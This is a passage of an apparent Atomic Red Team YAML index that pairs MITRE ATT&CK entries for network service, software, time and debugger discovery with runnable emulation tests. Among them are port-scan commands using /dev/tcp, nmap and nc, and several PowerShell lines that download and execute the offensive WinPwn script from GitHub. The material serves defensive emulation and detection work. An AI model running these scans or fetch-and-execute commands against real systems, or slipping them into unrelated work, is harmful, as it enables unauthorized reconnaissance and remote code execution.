        are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021)   \n\nWithin
        cloud environments, adversaries may attempt to discover services running on
        other cloud hosts. Additionally, if the cloud environment is connected to
        a on-premises environment, adversaries may be able to identify services running
        on non-cloud systems as well.\n\nWithin macOS environments, adversaries may
        use the native Bonjour application to discover services running on other macOS
        hosts within a network. The Bonjour mDNSResponder daemon automatically registers
        and advertises a host’s registered services on the network. For example, adversaries
        can use a mDNS query (such as <code>dns-sd -B _ssh._tcp .</code>) to find
        other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation:
        macOS APT Activity Bradley)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_contributors:
      - Praetorian
      x_mitre_deprecated: false
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Normal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - IaaS
      - Linux
      - macOS
      - Containers
      - Network
      x_mitre_version: '3.1'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Command: Command Execution'
      - 'Cloud Service: Cloud Service Enumeration'
      type: attack-pattern
      id: attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88
      created: '2017-05-31T21:30:43.915Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1046
        external_id: T1046
      - source_name: apple doco bonjour description
        description: Apple Inc. (2013, April 23). Bonjour Overview. Retrieved October
          11, 2021.
        url: https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/NetServices/Introduction.html
      - source_name: CISA AR21-126A FIVEHANDS May 2021
        description: CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware.
          Retrieved June 7, 2021.
        url: https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a
      - source_name: macOS APT Activity Bradley
        description: Jaron Bradley. (2021, November 14). What does APT Activity Look
          Like on macOS?. Retrieved January 19, 2022.
        url: https://themittenmac.com/what-does-apt-activity-look-like-on-macos/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1046
    atomic_tests:
    - name: Port Scan
      auto_generated_guid: 68e907da-2539-48f6-9fc9-257a78c05540
      description: |
        Scan ports to check for listening ports.

        Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
      supported_platforms:
      - linux
      - macos
      input_arguments:
        host:
          description: Host to scan.
          type: string
          default: 192.168.1.1
      executor:
        command: 'for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port)
          && echo port $port is open ; done

          '
        name: bash
    - name: Port Scan Nmap
      auto_generated_guid: 515942b0-a09f-4163-a7bb-22fefb6f185f
      description: |
        Scan ports to check for listening ports with Nmap.
        Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
      supported_platforms:
      - linux
      - macos
      input_arguments:
        host:
          description: Host to scan.
          type: string
          default: 192.168.1.1
        port:
          description: Ports to scan.
          type: string
          default: '80'
        network_range:
          description: Network Range to Scan.
          type: string
          default: 192.168.1.0/24
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if nmap command exists on the machine

          '
        prereq_command: 'if [ -x "$(command -v nmap)" ]; then exit 0; else exit 1;
          fi;

          '
        get_prereq_command: "(which yum && yum -y install epel-release nmap)||(which
          apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y nmap)||(which
          pkg && pkg install -y nmap)\n"
      - description: 'Check if nc command exists on the machine

          '
        prereq_command: 'if [ -x "$(command -v nc)" ]; then exit 0; else exit 1; fi;

          '
        get_prereq_command: "(which yum && yum -y install epel-release nc)||(which
          apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y netcat)||(which
          pkg && pkg install -y netcat)\n"
      - description: 'Check if telnet command exists on the machine

          '
        prereq_command: 'if [ -x "$(command -v telnet)" ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: "(which yum && yum -y install epel-release telnet)||(which
          apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y telnet)\n"
      executor:
        command: |
          sudo nmap -sS #{network_range} -p #{port}
          telnet #{host} #{port}
          nc -nv #{host} #{port}
        name: sh
        elevation_required: true
    - name: Port Scan NMap for Windows
      auto_generated_guid: d696a3cb-d7a8-4976-8eb5-5af4abf2e3df
      description: Scan ports to check for listening ports for the local host 127.0.0.1
      supported_platforms:
      - windows
      input_arguments:
        nmap_url:
          description: NMap installer download URL
          type: url
          default: https://nmap.org/dist/nmap-7.80-setup.exe
        host_to_scan:
          description: The host to scan with NMap
          type: string
          default: 127.0.0.1
      dependency_executor_name: powershell
      dependencies:
      - description: 'NMap must be installed

          '
        prereq_command: if (cmd /c "nmap 2>nul") {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\nmap-7.80-setup.exe" #{nmap_url}
          Start-Process "PathToAtomicsFolder\..\ExternalPayloads\nmap-7.80-setup.exe" /S
      executor:
        command: 'nmap #{host_to_scan}'
        name: powershell
        elevation_required: true
    - name: Port Scan using python
      auto_generated_guid: 6ca45b04-9f15-4424-b9d3-84a217285a5c
      description: 'Scan ports to check for listening ports with python

        '
      supported_platforms:
      - windows
      input_arguments:
        host_ip:
          description: Host to scan.
          type: string
          default: 127.0.0.1
        filename:
          description: Location of the project file
          type: path
          default: PathToAtomicsFolder\T1046\src\T1046.py
      dependency_executor_name: powershell
      dependencies:
      - description: 'Check if python exists on the machine

          '
        prereq_command: 'if (Get-Command py -errorAction SilentlyContinue) { exit
          0 } else { exit 1 }

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
          invoke-webrequest "https://www.python.org/ftp/python/3.10.4/python-3.10.4-amd64.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe"
          Start-Process -FilePath "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" -ArgumentList "/quiet InstallAllUsers=1 PrependPath=1 Include_test=0" -Wait
      executor:
        command: 'python "#{filename}" -i #{host_ip}

          '
        name: powershell
    - name: WinPwn - spoolvulnscan
      auto_generated_guid: 54574908-f1de-4356-9021-8053dd57439a
      description: Start MS-RPRN RPC Service Scan using spoolvulnscan function of
        WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          spoolvulnscan -noninteractive -consoleoutput
        name: powershell
    - name: WinPwn - MS17-10
      auto_generated_guid: 97585b04-5be2-40e9-8c31-82157b8af2d6
      description: Search for MS17-10 vulnerable Windows Servers in the domain using
        powerSQL function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          MS17-10 -noninteractive -consoleoutput
        name: powershell
    - name: WinPwn - bluekeep
      auto_generated_guid: 1cca5640-32a9-46e6-b8e0-fabbe2384a73
      description: Search for bluekeep vulnerable Windows Systems in the domain using
        bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds
        in testing on a small domain).
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          bluekeep -noninteractive -consoleoutput
        name: powershell
    - name: WinPwn - fruit
      auto_generated_guid: bb037826-cbe8-4a41-93ea-b94059d6bb98
      description: Search for potentially vulnerable web apps (low hanging fruits)
        using fruit function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          fruit -noninteractive -consoleoutput
        name: powershell
    - name: Network Service Discovery for Containers
      auto_generated_guid: 06eaafdb-8982-426e-8a31-d572da633caa
      description: Attackers may try to obtain a list of services that are operating
        on remote hosts and local network infrastructure devices, in order to identify
        potential vulnerabilities that can be exploited through remote software attacks.
        They typically use tools to conduct port and vulnerability scans in order
        to obtain this information.
      supported_platforms:
      - containers
      dependency_executor_name: sh
      dependencies:
      - description: Verify docker is installed.
        prereq_command: 'which docker

          '
        get_prereq_command: 'if [ "" == "`which docker`" ]; then echo "Docker Not
          Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker
          ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else
          echo "Docker installed"; fi

          '
      - description: Verify docker service is running.
        prereq_command: 'sudo systemctl status docker  --no-pager

          '
        get_prereq_command: 'sudo systemctl start docker

          '
      executor:
        command: |-
          docker build -t t1046 /root/AtomicRedTeam/atomics/T1046/src/
          docker run --name t1046_container  -d -t t1046
          docker exec t1046_container ./test.sh
        cleanup_command: |-
          docker stop t1046_container
          docker rmi -f t1046
        name: sh
    - name: Port-Scanning /24 Subnet with PowerShell
      auto_generated_guid: 05df2a79-dba6-4088-a804-9ca0802ca8e4
      description: |
        Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask.
        The connection attempts to use a timeout parameter in milliseconds to speed up the scan. Please note the atomic might not print any output until the scans are completed.
      supported_platforms:
      - windows
      input_arguments:
        ip_address:
          description: IP-Address within the target subnet. Default is empty and script
            tries to determine local IP address of attacking machine.
          type: string
          default: ''
        port_list:
          description: Comma separated list of ports to scan
          type: string
          default: 445, 3389
        timeout_ms:
          description: Connection timeout in milliseconds
          type: string
          default: '200'
      executor:
        command: |
          $ipAddr = "#{ip_address}"
          if ($ipAddr -eq "") {
              # Assumes the "primary" interface is shown at the top
              $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
              Write-Host "[i] Using Interface $interface"
              $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
          }
          Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
          $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
          # Always assumes /24 subnet
          Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

          $ports = #{port_list}
          $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

          foreach ($ip in $subnetIPs) {
              foreach ($port in $ports) {
                try {
                    $tcp = New-Object Net.Sockets.TcpClient
                    $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
                } catch {}
                if ($tcp.Connected) {
                    $tcp.Close()
                    Write-Host "Port $port is open on $ip"
                }
              }
          }
        name: powershell
    - name: Remote Desktop Services Discovery via PowerShell
      auto_generated_guid: 9e55750e-4cbf-4013-9627-e9a045b541bf
      description: 'Availability of remote desktop services can be checked using get-
        cmdlet of PowerShell

        '
      supported_platforms:
      - windows
      executor:
        command: 'Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"

          '
        name: powershell
        elevation_required: true
  T1518:
    technique:
      modified: '2024-04-16T00:16:06.689Z'
      name: Software Discovery
      description: |-
        Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

        Such software may be deployed widely across the environment for configuration management or security reasons, such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072), and may allow adversaries broad access to infect devices or move laterally.

        Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_deprecated: false
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - IaaS
      - Linux
      - macOS
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Firewall: Firewall Enumeration'
      - 'Firewall: Firewall Metadata'
      type: attack-pattern
      id: attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58
      created: '2019-09-16T17:52:44.147Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1518
        external_id: T1518
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1518
    atomic_tests:
    - name: Find and Display Internet Explorer Browser Version
      auto_generated_guid: 68981660-6670-47ee-a5fa-7e74806420a4
      description: |
        Query the registry to determine the version of internet explorer installed on the system.
        Upon execution, version information about internet explorer will be displayed.
      supported_platforms:
      - windows
      executor:
        command: 'reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer"
          /v svcVersion

          '
        name: command_prompt
    - name: Applications Installed
      auto_generated_guid: c49978f6-bd6e-4221-ad2c-9e3e30cc1e3b
      description: |
        Query the registry to determine software and versions installed on the system. Upon execution a table of
        software name and version information will be displayed.
      supported_platforms:
      - windows
      executor:
        command: |
          Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize
          Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize
        name: powershell
    - name: Find and Display Safari Browser Version
      auto_generated_guid: 103d6533-fd2a-4d08-976a-4a598565280f
      description: 'Adversaries may attempt to get a listing of non-security related
        software that is installed on the system. Adversaries may use the information
        from Software Discovery during automated discovery to shape follow-on behaviors

        '
      supported_platforms:
      - macos
      executor:
        name: sh
        elevation_required: false
        command: |
          /usr/libexec/PlistBuddy -c "print :CFBundleShortVersionString" /Applications/Safari.app/Contents/Info.plist
          /usr/libexec/PlistBuddy -c "print :CFBundleVersion" /Applications/Safari.app/Contents/Info.plist
    - name: WinPwn - Dotnetsearch
      auto_generated_guid: 7e79a1b6-519e-433c-ad55-3ff293667101
      description: Search for any .NET binary file in a share using the Dotnetsearch
        function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          Dotnetsearch -noninteractive -consoleoutput
        name: powershell
    - name: WinPwn - DotNet
      auto_generated_guid: 10ba02d0-ab76-4f80-940d-451633f24c5b
      description: Search for .NET Service-Binaries on this system via winpwn dotnet
        function of WinPwn.
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          dotnet -consoleoutput -noninteractive
        name: powershell
    - name: WinPwn - powerSQL
      auto_generated_guid: 0bb64470-582a-4155-bde2-d6003a95ed34
      description: Start PowerUpSQL Checks using powerSQL function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          powerSQL -noninteractive -consoleoutput
        name: powershell
  T1538:
    technique:
      modified: '2024-04-19T04:25:33.300Z'
      name: Cloud Service Dashboard
      description: |-
        An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)

        Depending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_contributors:
      - Praetorian
      - Obsidian Security
      x_mitre_deprecated: false
      x_mitre_detection: 'Monitor account activity logs to see actions performed and
        activity associated with the cloud service management console. Some cloud
        providers, such as AWS, provide distinct log events for login attempts to
        the management console.(Citation: AWS Console Sign-in Events)'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Azure AD
      - Office 365
      - IaaS
      - Google Workspace
      - SaaS
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'User Account: User Account Authentication'
      type: attack-pattern
      id: attack-pattern--e49920b0-6c54-40c1-9571-73723653205f
      created: '2019-08-30T18:11:24.582Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1538
        external_id: T1538
      - source_name: AWS Console Sign-in Events
        description: Amazon. (n.d.). AWS Console Sign-in Events. Retrieved October
          23, 2019.
        url: https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html
      - source_name: Google Command Center Dashboard
        description: 'Google. (2019, October 3). Quickstart: Using the dashboard.
          Retrieved October 8, 2019.'
        url: https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1622:
    technique:
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - TruKno
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391
      created: '2022-04-01T17:59:46.156Z'
      x_mitre_version: '1.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1622
        url: https://attack.mitre.org/techniques/T1622
      - source_name: Checkpoint Dridex Jan 2021
        url: https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/
        description: 'Check Point Research. (2021, January 4). Stopping Serial Killer:
          Catching the Next Strike. Retrieved September 7, 2021.'
      - source_name: hasherezade debug
        url: https://github.com/hasherezade/malware_training_vol1/blob/main/slides/module3/Module3_2_fingerprinting.pdf
        description: hasherezade. (2021, June 30). Module 3 - Understanding and countering
          malware's evasion and self-defence. Retrieved April 1, 2022.
      - source_name: AlKhaser Debug
        url: https://github.com/LordNoteworthy/al-khaser/tree/master/al-khaser/AntiDebug
        description: Noteworthy. (2019, January 6). Al-Khaser. Retrieved April 1,
          2022.
      - source_name: wardle evilquest partii
        url: https://objective-see.com/blog/blog_0x60.html
        description: 'Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part
          ii: insidious capabilities. Retrieved March 21, 2021.'
      - source_name: ProcessHacker Github
        url: https://github.com/processhacker/processhacker
        description: ProcessHacker. (2009, October 27). Process Hacker. Retrieved
          April 11, 2022.
      - source_name: vxunderground debug
        url: https://github.com/vxunderground/VX-API/tree/main/Anti%20Debug
        description: vxunderground. (2021, June 30). VX-API. Retrieved April 1, 2022.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)

        Debugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.

        Specific checks will vary based on the target and/or adversary, but may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as <code>IsDebuggerPresent()</code> and <code> NtQueryInformationProcess()</code>, or manually checking the <code>BeingDebugged</code> flag of the Process Environment Block (PEB). Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would “swallow” or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)

        Adversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as <code>OutputDebugStringW()</code>.(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021)
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Debugger Evasion
      x_mitre_detection: |-
        Debugger related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to debugger identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious [Native API](https://attack.mitre.org/techniques/T1106) function calls as well as processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.

        Monitor debugger logs for signs of abnormal and potentially malicious activity.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_is_subtechnique: false
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Process: OS API Execution'
      - 'Application Log: Application Log Content'
      - 'Command: Command Execution'
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1622
    atomic_tests:
    - name: Detect a Debugger Presence in the Machine
      auto_generated_guid: 58bd8c8d-3a1a-4467-a69c-439c75469b07
      description: Detecting a running debugger process or if the debugger is attached
        to a process via PowerShell
      supported_platforms:
      - windows
      executor:
        command: "# Check for common debugger processes\n$debuggerProcesses = Get-Process
          | Where-Object { $_.ProcessName -match \"dbg\" -or $_.ProcessName -match
          \"debug\" }\n# Check for debugging flags\n$debuggingFlags = [System.Diagnostics.Debugger]::IsAttached "
        name: powershell
        elevation_required: true
  T1124:
    technique:
      modified: '2024-04-16T12:50:15.929Z'
      name: System Time Discovery
      description: |-
        An adversary may gather the system time and/or time zone settings from a local or remote system. The system time is set and stored by services, such as the Windows Time Service on Windows or <code>systemsetup</code> on macOS.(Citation: MSDN System Time)(Citation: Technet Windows Time Service)(Citation: systemsetup mac time) These time settings may also be synchronized between systems and services in an enterprise network, typically accomplished with a network time server within a domain.(Citation: Mac Time Sync)(Citation: linux system time)

        System time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing <code>net time \\hostname</code> to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>.(Citation: Technet Windows Time Service) In addition, adversaries can discover device uptime through functions such as <code>GetTickCount()</code> to determine how long it has been since the system booted up.(Citation: Virtualization/Sandbox Evasion)

        On network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show clock detail` can be used to see the current time configuration.(Citation: show_clock_detail_cisco_cmd)

        In addition, system calls – such as <code>time()</code> – have been used to collect the current time on Linux devices.(Citation: MAGNET GOBLIN) On macOS systems, adversaries may use commands such as <code>systemsetup -gettimezone</code> or <code>timeIntervalSinceNow</code> to gather current time zone information or current date and time.(Citation: System Information Discovery Technique)(Citation: ESET DazzleSpy Jan 2022)

        This information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)(Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_contributors:
      - FIRST.ORG's Cyber Threat Intelligence SIG
      - Austin Clark, @c2defense
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.

        For network infrastructure devices, collect AAA logging to monitor `show` commands being run by non-standard users from non-standard locations.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Network
      - Linux
      - macOS
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      type: attack-pattern
      id: attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077
      created: '2017-05-31T21:31:37.450Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1124
        external_id: T1124
      - source_name: systemsetup mac time
        description: Apple Support. (n.d.). About systemsetup in Remote Desktop. Retrieved
          March 27, 2024.
        url: https://support.apple.com/en-gb/guide/remote-desktop/apd95406b8d/mac
      - source_name: linux system time
        description: ArchLinux. (2024, February 1). System Time. Retrieved March 27,
          2024.
        url: https://wiki.archlinux.org/title/System_time
      - source_name: MAGNET GOBLIN
        description: Check Point Research. (2024, March 8). MAGNET GOBLIN TARGETS
          PUBLICLY FACING SERVERS USING 1-DAY VULNERABILITIES. Retrieved March 27,
          2024.
        url: https://research.checkpoint.com/2024/magnet-goblin-targets-publicly-facing-servers-using-1-day-vulnerabilities/
      - source_name: show_clock_detail_cisco_cmd
        description: 'Cisco. (2023, March 6). show clock detail - Cisco IOS Security
          Command Reference: Commands S to Z . Retrieved July 13, 2022.'
        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-s2.html#wp1896741674
      - source_name: Mac Time Sync
        description: Cone, Matt. (2021, January 14). Synchronize your Mac's Clock
          with a Time Server. Retrieved March 27, 2024.
        url: https://www.macinstruct.com/tutorials/synchronize-your-macs-clock-with-a-time-server/
      - source_name: ESET DazzleSpy Jan 2022
        description: M.Léveillé, M., Cherepanov, A.. (2022, January 25). Watering
          hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022.
        url: https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/
      - source_name: AnyRun TimeBomb
        description: 'Malicious History. (2020, September 17). Time Bombs: Malware
          With Delayed Execution. Retrieved April 22, 2021.'
        url: https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/
      - source_name: Technet Windows Time Service
        description: Mathers, B. (2016, September 30). Windows Time Service Tools
          and Settings. Retrieved November 25, 2016.
        url: https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings
      - source_name: MSDN System Time
        description: Microsoft. (n.d.). System Time. Retrieved November 25, 2016.
        url: https://msdn.microsoft.com/ms724961.aspx
      - source_name: RSA EU12 They're Inside
